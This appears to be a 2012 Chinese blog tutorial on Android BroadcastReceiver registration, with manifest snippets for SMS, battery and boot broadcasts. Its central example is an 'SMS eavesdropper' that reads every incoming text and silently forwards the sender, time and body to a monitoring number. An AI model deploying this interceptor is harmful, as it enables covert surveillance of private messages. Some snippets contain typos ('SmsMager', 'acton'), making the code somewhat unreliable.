您的位置:首页 > 其它

通过短信窃听器来理解BroadcastReceiver:

2012-07-31 20:58 225 查看
订阅感兴趣的Intent有两种方法:

(1)代码订阅

IntentFilter filter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
IncomingSMSReceiver receiver = new IncomingSMSReceiver();
registerReceiver(receiver,filter);

(2)在AndroidManifest.xml文件中的<application>节点里注册订阅

<receiver android:name = ".IncomingSMSReceiver">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>

短信窃听器:

SMSListenBroadcastReceiver.java:

public class SMSListenBroadcastReceiver extends BroadcastReceiver{
public void onReceive(Context context,Intent intent){  //此方法一旦返回,android会回收BroadcastReceiver
Object[] pdus = (Object[])intent.getExtras().get("pdus");
if(pdus!=null&&pdus.length>0){
SmsMessage[] messages = new SmsMessage[pdus.length];
for(int i=0;i<pdus.length;i++){
//得到短信内容,内容是以pdu格式存放的
byte[] pdu = (byte[])pdus[i];
//使用pdu格式的数据创建描述短信的对象
messages[i] = SmsMessage.createFromPdu(pdu);
}
for(SmsMessage msg:messages){
//得到短信内容
String content= msg.getMessageBody();
//得到短信发送者手机号
String sender=msg.getOriginatingAddress();
//得到短信的发送时间
Date date = new Date(msg.getTimestampMillis());
//把收到的短信传递给监控者
SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
String sendContent = format.format(date)+":"+sender+"--"+content;
SmsMager smsManager = SmsManager.getDefault();
smsManager.sendTextMessage("5556",null,sendContent,null,null);
}
}
}
}

在配置文件中对BroadcastReceiver进行注册:

<receiver android:name = ".SMSListenBroadcastReceiver">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>

除了短信的广播,还有其他的广播,可以对比了解一下:

接收电池电量变化的广播:

<receiver android:name = ".IncomingSMSReceiver">
<intent-filter>
<action android:name="android.intent.acton.BATTERY_CHANGED"/>
</intent-filter>
</receiver>

接收开机启动广播:

<receiver android:name = ".IncomingSMSReceiver">
<intent-filter>
<action android:name="android.intent.acton.BOOT_COMPLETED"/>
</intent-filter>
</receiver>

并且要进行权限的声明:

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

对注册好的BroadcastReceiver进行注销的方法:

unregisterReceiver(BroadcastReceiver receiver);
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: